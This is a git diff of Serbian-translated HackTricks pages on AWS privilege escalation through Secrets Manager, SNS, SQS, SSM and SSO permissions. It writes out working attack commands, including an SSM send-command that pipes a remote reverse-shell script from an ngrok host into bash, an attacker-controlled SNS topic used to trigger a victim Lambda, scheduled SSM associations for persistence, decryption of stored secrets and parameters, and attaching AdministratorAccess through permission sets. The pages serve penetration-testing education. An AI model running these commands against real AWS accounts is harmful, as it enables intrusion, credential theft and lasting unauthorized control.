informacija o Secrets Manager proverite: {{#ref}} -../aws-services/aws-secrets-manager-enum.md +../../aws-services/aws-secrets-manager-enum.md {{#endref}} ### `secretsmanager:GetSecretValue` @@ -14,14 +16,14 @@ Napadač sa ovom dozvolom može dobiti **sačuvanu vrednost unutar secret-a** u ```bash aws secretsmanager get-secret-value --secret-id # Get value ``` -**Potencijalni uticaj:** Pristup veoma osetljivim podacima u AWS Secrets Manager servisu. +**Potencijalni uticaj:** Pristup veoma osetljivim podacima unutar AWS secrets manager servisa. > [!WARNING] -> Imajte na umu da, čak i sa `secretsmanager:BatchGetSecretValue` dozvolom, napadač bi takođe trebao `secretsmanager:GetSecretValue` da preuzme osetljive tajne. +> Imajte na umu da čak i sa dozvolom `secretsmanager:BatchGetSecretValue`, napadač bi takođe morao imati `secretsmanager:GetSecretValue` da bi preuzeo osetljive tajne. ### `secretsmanager:GetResourcePolicy`, `secretsmanager:PutResourcePolicy`, (`secretsmanager:ListSecrets`) -Sa prethodnim dozvolama moguće je **dodeliti pristup drugim principals/accounts (čak i eksternim)** da pristupe **tajni**. Imajte na umu da, da bi **čitati tajne šifrovane** KMS ključem, korisnik takođe mora imati **pristup KMS ključu** (more info in the [KMS Enum page](../aws-services/aws-kms-enum.md)). +Sa prethodnim dozvolama moguće je **dodeliti pristup drugim principals/accounts (čak i eksternim)** kako bi pristupili **secret-u**. Imajte na umu da, da bi se **čitale secrets šifrovane** KMS ključem, korisnik takođe mora imati **pristup KMS ključu** (više informacija na [KMS Enum page](../../aws-services/aws-kms-enum.md)). ```bash aws secretsmanager list-secrets aws secretsmanager get-resource-policy --secret-id @@ -43,4 +45,4 @@ policy.json: ] } ``` -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md deleted file mode 100644 index 693136d2f..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md +++ /dev/null @@ -1,37 +0,0 @@ -# AWS - SNS Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## SNS - -Za više informacija pogledajte: - -{{#ref}} -../aws-services/aws-sns-enum.md -{{#endref}} - -### `sns:Publish` - -Napadač bi mogao poslati zlonamerne ili neželjene poruke na SNS temu, što bi moglo izazvati oštećenje podataka, pokretanje neželjenih akcija ili iscrpljivanje resursa. -```bash -aws sns publish --topic-arn --message -``` -**Potencijalni uticaj**: Iskorišćavanje ranjivosti, oštećenje podataka, nepredviđene radnje ili iscrpljivanje resursa. - -### `sns:Subscribe` - -Napadač bi mogao da se prijavi na SNS temu, potencijalno stičući neovlašćen pristup porukama ili ometajući normalno funkcionisanje aplikacija koje se oslanjaju na tu temu. -```bash -aws sns subscribe --topic-arn --protocol --endpoint -``` -**Potencijalni uticaj**: Neovlašćen pristup porukama (osetljive informacije), prekid usluge za aplikacije koje se oslanjaju na pogođenu temu. - -### `sns:AddPermission` - -Napadač bi mogao da dodeli neovlašćenim korisnicima ili uslugama pristup SNS temi, potencijalno dobijajući dodatne dozvole. -```css -aws sns add-permission --topic-arn --label --aws-account-id --action-name -``` -**Potencijalni uticaj**: Neovlašćen pristup temi, izlaganje poruka ili manipulacija temom od strane neovlašćenih korisnika ili servisa, ometanje normalnog funkcionisanja aplikacija koje se oslanjaju na temu. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc/README.md new file mode 100644 index 000000000..a8ba64316 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc/README.md @@ -0,0 +1,81 @@ +# AWS - SNS Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## SNS + +Za više informacija pogledajte: + +{{#ref}} +../../aws-services/aws-sns-enum.md +{{#endref}} + +### `sns:Publish` + +An attacker može poslati zlonamerne ili neželjene poruke na SNS topic, što može dovesti do oštećenja podataka, pokretanja neželjenih akcija ili iscrpljivanja resursa. +```bash +aws sns publish --topic-arn --message +``` +**Potencijalni uticaj**: iskorišćavanje ranjivosti, oštećenje podataka, neželjene radnje ili iscrpljivanje resursa. + +### `sns:Subscribe` + +Napadač bi mogao da se pretplati na SNS topic, potencijalno stičući neovlašćen pristup porukama ili ometajući normalno funkcionisanje aplikacija koje se oslanjaju na taj topic. +```bash +aws sns subscribe --topic-arn --protocol --endpoint +``` +**Potencijalni uticaj**: Neovlašćen pristup porukama (osetljive informacije), prekid usluge za aplikacije koje zavise od pogođene teme. + +### `sns:AddPermission` + +Napadač bi mogao dodeliti neovlašćenim korisnicima ili servisima pristup SNS temi, potencijalno stičući dodatne dozvole. +```bash +aws sns add-permission --topic-arn --label --aws-account-id --action-name +``` +**Potential Impact**: Neovlašćen pristup topic-u, izlaganje poruka, ili manipulacija topic-om od strane neovlašćenih korisnika ili servisa, prekid normalnog rada aplikacija koje zavise od topic-a. + + +### Pozivanje Lambda pomoću zloupotrebe wildcard SNS dozvole (bez `SourceArn`) + +Ako resource-based policy Lambda funkcije dozvoljava `sns.amazonaws.com` da je pozove bez ograničavanja source topica (`SourceArn`), bilo koji SNS topic (čak i u drugom account-u) može da se prijavi i okine funkciju. Attacker sa osnovnim SNS permissions može da natera Lambda da se izvrši pod svojom IAM rolom koristeći attacker-controlled input. + +> [!TIP] +> TODO: Može li se ovo zaista izvesti cross-account? + +Preduslovi +- Victim Lambda policy sadrži izjavu kao ispod, bez `SourceArn` uslova: +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": {"Service": "sns.amazonaws.com"}, +"Action": "lambda:InvokeFunction" +// No Condition/SourceArn restriction here +} +] +} +``` +Koraci zloupotrebe (u istom ili između naloga) +```bash +# 1) Create a topic you control +ATTACKER_TOPIC_ARN=$(aws sns create-topic --name attacker-coerce --region us-east-1 --query TopicArn --output text) + +# 2) Subscribe the victim Lambda to your topic +aws sns subscribe \ +--region us-east-1 \ +--topic-arn "$ATTACKER_TOPIC_ARN" \ +--protocol lambda \ +--notification-endpoint arn:aws:lambda:us-east-1::function: + +# 3) Publish an attacker-controlled message to trigger the Lambda +aws sns publish \ +--region us-east-1 \ +--topic-arn "$ATTACKER_TOPIC_ARN" \ +--message '{"Records":[{"eventSource":"aws:s3","eventName":"ObjectCreated:Put","s3":{"bucket":{"name":"attacker-bkt"},"object":{"key":"payload.bin"}}}]}' +``` +**Potencijalni uticaj**: victim Lambda se izvršava sa svojom IAM rolom i procesuira attacker-controlled input. Ovo se može zloupotrebiti da funkcija izvrši osetljive radnje (npr. pisanje u S3, access secrets, izmena resursa) u zavisnosti od njenih dozvola. + + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md deleted file mode 100644 index da1012961..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md +++ /dev/null @@ -1,40 +0,0 @@ -# AWS - SQS Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## SQS - -Za više informacija pogledajte: - -{{#ref}} -../aws-services/aws-sqs-and-sns-enum.md -{{#endref}} - -### `sqs:AddPermission` - -Napadač bi mogao iskoristiti ovu dozvolu da dodeli neovlašćenim korisnicima ili servisima pristup SQS redu kreiranjem novih politika ili modifikovanjem postojećih politika. To bi moglo rezultirati neovlašćenim pristupom porukama u redu ili manipulacijom reda od strane neovlašćenih entiteta. -```bash -cssCopy codeaws sqs add-permission --queue-url --actions --aws-account-ids --label -``` -**Potencijalni uticaj**: Neovlašćen pristup redu, izlaganje poruka ili manipulacija redom od strane neovlašćenih korisnika ili servisa. - -### `sqs:SendMessage`, `sqs:SendMessageBatch` - -Napadač bi mogao poslati zlonamerne ili neželjene poruke u SQS red, što bi moglo izazvati oštećenje podataka, pokretanje neželjenih akcija ili iscrpljivanje resursa. -```bash -aws sqs send-message --queue-url --message-body -aws sqs send-message-batch --queue-url --entries -``` -**Potencijalni uticaj**: Iskorišćavanje ranjivosti, oštećenje podataka, nepredviđene radnje ili iscrpljivanje resursa. - -### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility` - -Napadač bi mogao da primi, obriše ili izmeni vidljivost poruka u SQS redu, uzrokujući gubitak poruka, oštećenje podataka ili prekid usluge za aplikacije koje se oslanjaju na te poruke. -```bash -aws sqs receive-message --queue-url -aws sqs delete-message --queue-url --receipt-handle -aws sqs change-message-visibility --queue-url --receipt-handle --visibility-timeout -``` -**Potencijalni uticaj**: Ukrasti osetljive informacije, gubitak poruka, oštećenje podataka i prekid usluge za aplikacije koje se oslanjaju na pogođene poruke. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc/README.md new file mode 100644 index 000000000..53941200d --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc/README.md @@ -0,0 +1,40 @@ +# AWS - SQS Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## SQS + +Za više informacija pogledajte: + +{{#ref}} +../../aws-services/aws-sqs-and-sns-enum.md +{{#endref}} + +### `sqs:AddPermission` + +Napadač može iskoristiti ovu permisiju da dodeli neovlašćenim korisnicima ili servisima pristup SQS redu kreiranjem novih policies ili izmenom postojećih policies. To može dovesti do neovlašćenog pristupa porukama u redu ili manipulacije redom od strane neovlašćenih entiteta. +```bash +aws sqs add-permission --queue-url --actions --aws-account-ids --label +``` +**Mogući uticaj**: Neovlašćen pristup redu, izlaganje poruka, ili manipulacija redom od strane neovlašćenih korisnika ili servisa. + +### `sqs:SendMessage` , `sqs:SendMessageBatch` + +Napadač može poslati zlonamerne ili neželjene poruke u SQS red, što može dovesti do korupcije podataka, pokretanja neželjenih radnji ili iscrpljivanja resursa. +```bash +aws sqs send-message --queue-url --message-body +aws sqs send-message-batch --queue-url --entries +``` +**Potencijalni uticaj**: iskorišćavanje ranjivosti, oštećenje podataka, neželjene radnje ili iscrpljivanje resursa. + +### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility` + +Napadač bi mogao primiti, obrisati ili izmeniti vidljivost poruka u SQS queue, što može dovesti do gubitka poruka, oštećenja podataka ili prekida usluge za aplikacije koje se oslanjaju na te poruke. +```bash +aws sqs receive-message --queue-url +aws sqs delete-message --queue-url --receipt-handle +aws sqs change-message-visibility --queue-url --receipt-handle --visibility-timeout +``` +**Potencijalni uticaj**: Krađa osetljivih informacija, gubitak poruka, oštećenje podataka i prekid usluge za aplikacije koje zavise od pogođenih poruka. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md deleted file mode 100644 index 3a9a0be44..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md +++ /dev/null @@ -1,130 +0,0 @@ -# AWS - SSM Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## SSM - -Za više informacija o SSM, proverite: - -{{#ref}} -../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ -{{#endref}} - -### `ssm:SendCommand` - -Napadač sa dozvolom **`ssm:SendCommand`** može **izvršavati komande u instancama** koje pokreću Amazon SSM Agent i **kompromitovati IAM ulogu** koja se izvršava unutar nje. -```bash -# Check for configured instances -aws ssm describe-instance-information -aws ssm describe-sessions --state Active - -# Send rev shell command -aws ssm send-command --instance-ids "$INSTANCE_ID" \ ---document-name "AWS-RunShellScript" --output text \ ---parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash" -``` -U slučaju da koristite ovu tehniku za eskalaciju privilegija unutar već kompromitovane EC2 instance, možete jednostavno uhvatiti rev shell lokalno sa: -```bash -# If you are in the machine you can capture the reverseshel inside of it -nc -lvnp 4444 #Inside the EC2 instance -aws ssm send-command --instance-ids "$INSTANCE_ID" \ ---document-name "AWS-RunShellScript" --output text \ ---parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash" -``` -**Potencijalni uticaj:** Direktno privesc na EC2 IAM uloge povezane sa aktivnim instancama sa SSM agentima. - -### `ssm:StartSession` - -Napadač sa dozvolom **`ssm:StartSession`** može **pokrenuti SSH sličnu sesiju u instancama** koje pokreću Amazon SSM Agent i **kompromitovati IAM ulogu** koja se izvršava unutar nje. -```bash -# Check for configured instances -aws ssm describe-instance-information -aws ssm describe-sessions --state Active - -# Send rev shell command -aws ssm start-session --target "$INSTANCE_ID" -``` -> [!CAUTION] -> Da biste započeli sesiju, potrebno je da imate instaliran **SessionManagerPlugin**: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html) - -**Potencijalni uticaj:** Direktno privesc do EC2 IAM uloga povezanih sa aktivnim instancama sa SSM Agentima. - -#### Privesc do ECS - -Kada **ECS zadaci** rade sa **`ExecuteCommand` omogućenim**, korisnici sa dovoljno dozvola mogu koristiti `ecs execute-command` da **izvrše komandu** unutar kontejnera.\ -Prema [**dokumentaciji**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/), to se postiže kreiranjem sigurnog kanala između uređaja koji koristite za iniciranje komande “_exec_” i ciljnog kontejnera sa SSM Session Managerom. (SSM Session Manager Plugin je neophodan za ovo)\ -Stoga, korisnici sa `ssm:StartSession` moći će da **dobiju shell unutar ECS zadataka** sa tom opcijom omogućenom jednostavno pokretanjem: -```bash -aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID" -``` -![](<../../../images/image (185).png>) - -**Potencijalni uticaj:** Direktno privesc na `ECS` IAM uloge povezane sa aktivnim zadacima sa omogućenom `ExecuteCommand`. - -### `ssm:ResumeSession` - -Napadač sa dozvolom **`ssm:ResumeSession`** može ponovo **pokrenuti SSH sličnu sesiju u instancama** koje pokreću Amazon SSM Agent sa **isključenim** stanjem SSM sesije i **kompromitovati IAM ulogu** koja se izvršava unutar nje. -```bash -# Check for configured instances -aws ssm describe-sessions - -# Get resume data (you will probably need to do something else with this info to connect) -aws ssm resume-session \ ---session-id Mary-Major-07a16060613c408b5 -``` -**Potencijalni uticaj:** Direktno privesc na EC2 IAM uloge povezane sa aktivnim instancama sa SSM agentima i prekinutim sesijama. - -### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`) - -Napadač sa pomenutim dozvolama će moći da prikaže **SSM parametre** i **pročita ih u čistom tekstu**. U ovim parametrima često možete **pronaći osetljive informacije** kao što su SSH ključevi ili API ključevi. -```bash -aws ssm describe-parameters -# Suppose that you found a parameter called "id_rsa" -aws ssm get-parameters --names id_rsa --with-decryption -aws ssm get-parameter --name id_rsa --with-decryption -``` -**Potencijalni uticaj:** Pronaći osetljive informacije unutar parametara. - -### `ssm:ListCommands` - -Napadač sa ovom dozvolom može da prikaže sve **komande** koje su poslate i nadati se da će pronaći **osetljive informacije** u njima. -``` -aws ssm list-commands -``` -**Potencijalni uticaj:** Pronaći osetljive informacije unutar komandnih linija. - -### `ssm:GetCommandInvocation`, (`ssm:ListCommandInvocations` | `ssm:ListCommands`) - -Napadač sa ovim dozvolama može da prikaže sve **komande** poslate i **pročita izlaz** generisan, nadajući se da će pronaći **osetljive informacije** u njemu. -```bash -# You can use any of both options to get the command-id and instance id -aws ssm list-commands -aws ssm list-command-invocations - -aws ssm get-command-invocation --command-id --instance-id -``` -**Potencijalni uticaj:** Pronaći osetljive informacije unutar izlaza komandnih linija. - -### Korišćenje ssm:CreateAssociation - -Napadač sa dozvolom **`ssm:CreateAssociation`** može kreirati Asocijaciju menadžera stanja kako bi automatski izvršavao komande na EC2 instancama koje upravlja SSM. Ove asocijacije mogu biti konfigurisane da se izvršavaju u fiksnim intervalima, što ih čini pogodnim za postojanost sličnu zadnjim vratima bez interaktivnih sesija. -```bash -aws ssm create-association \ ---name SSM-Document-Name \ ---targets Key=InstanceIds,Values=target-instance-id \ ---parameters commands=["malicious-command"] \ ---schedule-expression "rate(30 minutes)" \ ---association-name association-name -``` -> [!NOTE] -> Ova metoda postojanosti funkcioniše sve dok je EC2 instanca upravljana od strane Systems Manager-a, SSM agent radi, i napadač ima dozvolu da kreira asocijacije. Ne zahteva interaktivne sesije ili eksplicitne ssm:SendCommand dozvole. **Važno:** Parametar `--schedule-expression` (npr., `rate(30 minutes)`) mora poštovati minimalni interval AWS-a od 30 minuta. Za trenutnu ili jednokratnu izvršavanje, potpuno izostavite `--schedule-expression` — asocijacija će se izvršiti jednom nakon kreiranja. - -### Codebuild - -Možete takođe koristiti SSM da uđete u codebuild projekat koji se gradi: - -{{#ref}} -aws-codebuild-privesc.md -{{#endref}} - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md new file mode 100644 index 000000000..8fd825260 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md @@ -0,0 +1,130 @@ +# AWS - SSM Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## SSM + +Za više informacija o SSM pogledajte: + +{{#ref}} +../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ +{{#endref}} + +### `ssm:SendCommand` + +Napadač sa dozvolom **`ssm:SendCommand`** može **izvršavati komande na instancama** koje pokreću Amazon SSM Agent i **kompromitovati IAM Role** koja se u njima izvršava. +```bash +# Check for configured instances +aws ssm describe-instance-information +aws ssm describe-sessions --state Active + +# Send rev shell command +aws ssm send-command --instance-ids "$INSTANCE_ID" \ +--document-name "AWS-RunShellScript" --output text \ +--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash" +``` +Ako koristite ovu tehniku da biste izvršili escalate privileges unutar već kompromitovanog EC2 instance, možete jednostavno capture rev shell lokalno pomoću: +```bash +# If you are in the machine you can capture the reverseshel inside of it +nc -lvnp 4444 #Inside the EC2 instance +aws ssm send-command --instance-ids "$INSTANCE_ID" \ +--document-name "AWS-RunShellScript" --output text \ +--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash" +``` +**Potencijalni uticaj:** Direktan privesc na EC2 IAM roles pridružene pokrenutim instancama sa SSM Agents. + +### `ssm:StartSession` + +Napadač koji ima dozvolu **`ssm:StartSession`** može **pokrenuti SSH-sličnu sesiju na instancama** koje koriste Amazon SSM Agent i **kompromitovati IAM Role** koja se u njima izvršava. +```bash +# Check for configured instances +aws ssm describe-instance-information +aws ssm describe-sessions --state Active + +# Send rev shell command +aws ssm start-session --target "$INSTANCE_ID" +``` +> [!CAUTION] +> Da biste započeli sesiju, potrebno je da imate instaliran **SessionManagerPlugin**: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html) + +**Potencijalni uticaj:** Direktan privesc na EC2 IAM role pridružene pokrenutim instancama sa SSM Agentima. + +#### Privesc na ECS + +Kada **ECS tasks** rade sa **`ExecuteCommand` enabled** korisnici sa dovoljnim privilegijama mogu koristiti `ecs execute-command` da **izvrše komandu** unutar kontejnera.\ +Prema [**the documentation**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) ovo se radi kreiranjem sigurnog kanala između uređaja koji koristite da pokrenete “_exec_“ komandu i ciljanog kontejnera pomoću SSM Session Manager. (SSM Session Manager Plugin neophodan da ovo radi)\ +Stoga, korisnici sa `ssm:StartSession` biće u stanju da **dobiju shell unutar ECS tasks** sa tom opcijom omogućenim jednostavnim pokretanjem: +```bash +aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID" +``` +![](<../../../images/image (185).png>) + +**Potencijalni uticaj:** Direct privesc na `ECS`IAM roles pridružene pokrenutim tasks sa `ExecuteCommand` omogućenim. + +### `ssm:ResumeSession` + +Napadač sa dozvolom **`ssm:ResumeSession`** može re-**start a SSH like session in instances** koje pokreću Amazon SSM Agent kada je SSM session state **disconnected** i tako može **compromise the IAM Role** koja se izvršava unutar nje. +```bash +# Check for configured instances +aws ssm describe-sessions + +# Get resume data (you will probably need to do something else with this info to connect) +aws ssm resume-session \ +--session-id Mary-Major-07a16060613c408b5 +``` +**Potencijalni uticaj:** Direktan privesc do EC2 IAM roles pridruženih pokrenutim instancama sa aktivnim SSM Agents i prekinutim sesijama. + +### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`) + +Napadač sa pomenutim permisijama moći će da izlista **SSM parameters** i **pročita ih u čistom tekstu**. U tim parametrima često možete **naći osetljive informacije** kao što su SSH keys ili API keys. +```bash +aws ssm describe-parameters +# Suppose that you found a parameter called "id_rsa" +aws ssm get-parameters --names id_rsa --with-decryption +aws ssm get-parameter --name id_rsa --with-decryption +``` +**Potencijalni uticaj:** Pronaći osetljive informacije unutar parametara. + +### `ssm:ListCommands` + +Napadač sa ovom dozvolom može da nabroji sve poslate **commands** i, po mogućnosti, pronađe **osetljive informacije** u njima. +``` +aws ssm list-commands +``` +**Potencijalni uticaj:** Pronalazak osetljivih informacija unutar komandnih linija. + +### `ssm:GetCommandInvocation`, (`ssm:ListCommandInvocations` | `ssm:ListCommands`) + +Napadač sa ovim dozvolama može da navede sve poslate **komande** i da **pročita generisani izlaz**, nadajući se da će pronaći **osetljive informacije** u njima. +```bash +# You can use any of both options to get the command-id and instance id +aws ssm list-commands +aws ssm list-command-invocations + +aws ssm get-command-invocation --command-id --instance-id +``` +**Potencijalni uticaj:** Pronalaženje osetljivih informacija u izlazu komandnih linija. + +### Using ssm:CreateAssociation + +Napadač sa dozvolom **`ssm:CreateAssociation`** može kreirati State Manager Association da automatski izvršava komande na EC2 instancama kojima upravlja SSM. Ove asociacije se mogu konfigurisati da se pokreću u fiksnim intervalima, što ih čini pogodnim za backdoor-like persistence bez interaktivnih sesija. +```bash +aws ssm create-association \ +--name SSM-Document-Name \ +--targets Key=InstanceIds,Values=target-instance-id \ +--parameters commands=["malicious-command"] \ +--schedule-expression "rate(30 minutes)" \ +--association-name association-name +``` +> [!NOTE] +> Ovaj metod persistencije funkcioniše sve dok je EC2 instanca pod upravom Systems Manager, SSM agent je pokrenut, i napadač ima dozvolu za kreiranje associations. Ne zahteva interaktivne sesije niti eksplicitne ssm:SendCommand dozvole. **Važno:** parametar `--schedule-expression` (npr. `rate(30 minutes)`) mora poštovati AWS-ov minimalni interval od 30 minuta. Za trenutnu ili jednokratnu izvršavanje, potpuno izostavite `--schedule-expression` — association će se izvršiti jednom nakon kreiranja. + +### Codebuild + +Možete takođe koristiti SSM da uđete u codebuild projekat koji se gradi: + +{{#ref}} +../aws-codebuild-privesc/README.md +{{#endref}} + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md similarity index 61% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md index 471ce2d00..5e12ef8d5 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md @@ -1,33 +1,33 @@ # AWS - SSO & identitystore Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## AWS Identity Center / AWS SSO Za više informacija o AWS Identity Center / AWS SSO pogledajte: {{#ref}} -../aws-services/aws-iam-enum.md +../../aws-services/aws-iam-enum.md {{#endref}} > [!WARNING] -> Imajte na umu da po **default-u**, samo **korisnici** sa dozvolama **iz** **Upravljačkog Naloga** mogu pristupiti i **kontrolisati IAM Identity Center**.\ -> Korisnici iz drugih naloga mogu to omogućiti samo ako je nalog **Delegirani Administrator.**\ +> Imajte na umu da su, po **defaultu**, samo **korisnici** sa dozvolama iz **Management Account**-a oni koji će moći da pristupe i da **kontrolišu IAM Identity Center**.\ +> Korisnici iz drugih naloga to mogu samo omogućiti ako je taj nalog **Delegated Administrator.**\ > [Pogledajte dokumentaciju za više informacija.](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html) -### ~~Resetuj lozinku~~ +### ~~Resetovanje lozinke~~ -Lako rešenje za eskalaciju privilegija u ovakvim slučajevima bi bilo imati dozvolu koja omogućava resetovanje lozinki korisnika. Nažalost, moguće je samo poslati email korisniku da resetuje svoju lozinku, tako da bi vam bio potreban pristup korisnikovom emailu. +Jednostavan način za eskalaciju privilegija u ovakvim slučajevima bio bi imati dozvolu koja omogućava resetovanje korisničkih lozinki. Nažalost, moguće je samo poslati email korisniku da resetuje lozinku, tako da biste morali imati pristup korisnikovom email-u. ### `identitystore:CreateGroupMembership` -Sa ovom dozvolom moguće je postaviti korisnika unutar grupe tako da će naslediti sve dozvole koje grupa ima. +Sa ovom dozvolom moguće je dodati korisnika u grupu tako da će naslediti sve dozvole koje ta grupa ima. ```bash aws identitystore create-group-membership --identity-store-id --group-id --member-id UserId= ``` ### `sso:PutInlinePolicyToPermissionSet`, `sso:ProvisionPermissionSet` -Napadač sa ovom dozvolom mogao bi dodeliti dodatne dozvole Permission Set-u koji je dodeljen korisniku pod njegovom kontrolom. +Napadač sa ovom dozvolom može dodeliti dodatne dozvole Permission Set-u koji je dodeljen korisniku pod njegovom kontrolom ```bash # Set an inline policy with admin privileges aws sso-admin put-inline-policy-to-permission-set --instance-arn --permission-set-arn --inline-policy file:///tmp/policy.yaml @@ -50,7 +50,7 @@ aws sso-admin provision-permission-set --instance-arn --permissio ``` ### `sso:AttachManagedPolicyToPermissionSet`, `sso:ProvisionPermissionSet` -Napadač sa ovom dozvolom mogao bi dodeliti dodatne dozvole Permission Set-u koji je dodeljen korisniku pod njegovom kontrolom. +Napadač koji ima ovo dopuštenje mogao bi dodeliti dodatna permissions Permission Set-u koji je dodeljen korisniku pod njegovom kontrolom ```bash # Set AdministratorAccess policy to the permission set aws sso-admin attach-managed-policy-to-permission-set --instance-arn --permission-set-arn --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess" @@ -60,10 +60,10 @@ aws sso-admin provision-permission-set --instance-arn --permissio ``` ### `sso:AttachCustomerManagedPolicyReferenceToPermissionSet`, `sso:ProvisionPermissionSet` -Napadač sa ovom dozvolom mogao bi da dodeli dodatne dozvole Permission Set-u koji je dodeljen korisniku pod njegovom kontrolom. +Napadač sa ovom dozvolom može dodeliti dodatne dozvole Permission Set-u koji je dodeljen korisniku pod njegovom kontrolom. > [!WARNING] -> Da biste zloupotrebili ove dozvole u ovom slučaju, morate znati **ime korisničke upravljane politike koja se nalazi u SVIH računa** koji će biti pogođeni. +> Da biste zloupotrebili ove dozvole u ovom slučaju, morate znati **name of a customer managed policy that is inside ALL the accounts** koje će biti pogođene. ```bash # Set AdministratorAccess policy to the permission set aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn --permission-set-arn --customer-managed-policy-reference @@ -73,40 +73,40 @@ aws sso-admin provision-permission-set --instance-arn --permissio ``` ### `sso:CreateAccountAssignment` -Napadač sa ovom dozvolom mogao bi dodeliti Permission Set korisniku pod njegovom kontrolom za nalog. +Napadač koji ima ovu dozvolu može dodeliti Permission Set korisniku pod svojom kontrolom na account. ```bash aws sso-admin create-account-assignment --instance-arn --target-id --target-type AWS_ACCOUNT --permission-set-arn --principal-type USER --principal-id ``` ### `sso:GetRoleCredentials` -Vraća STS kratkoročne akreditive za dato ime uloge koja je dodeljena korisniku. +Vraća STS kratkoročne kredencijale za dati naziv role koji je dodeljen korisniku. ``` aws sso get-role-credentials --role-name --account-id --access-token ``` -Međutim, potrebna vam je pristupna oznaka koju nisam siguran kako da dobijem (TODO). +Međutim, potreban je access token koji nisam siguran kako da dobijem (TODO). ### `sso:DetachManagedPolicyFromPermissionSet` -Napadač sa ovom dozvolom može ukloniti asocijaciju između AWS upravljane politike i određenog skupa dozvola. Moguće je dodeliti više privilegija putem **uklanjanja upravljane politike (politika odbijanja)**. +Napadač sa ovom dozvolom može ukloniti povezanost između AWS managed policy i navedenog permission seta. Moguće je dodeliti više privilegija putem **detaching a managed policy (deny policy)**. ```bash aws sso-admin detach-managed-policy-from-permission-set --instance-arn --permission-set-arn --managed-policy-arn ``` ### `sso:DetachCustomerManagedPolicyReferenceFromPermissionSet` -Napadač sa ovom dozvolom može ukloniti asocijaciju između korisničke upravljane politike i određenog skupa dozvola. Moguće je dodeliti više privilegija putem **uklanjanja upravljane politike (politika odbijanja)**. +Napadač sa ovom dozvolom može ukloniti vezu između Customer managed policy i navedenog permission set-a. Moguće je dodeliti dodatne privilegije odvajanjem managed policy (deny policy). ```bash aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn --permission-set-arn --customer-managed-policy-reference ``` ### `sso:DeleteInlinePolicyFromPermissionSet` -Napadač sa ovom dozvolom može ukloniti dozvole iz 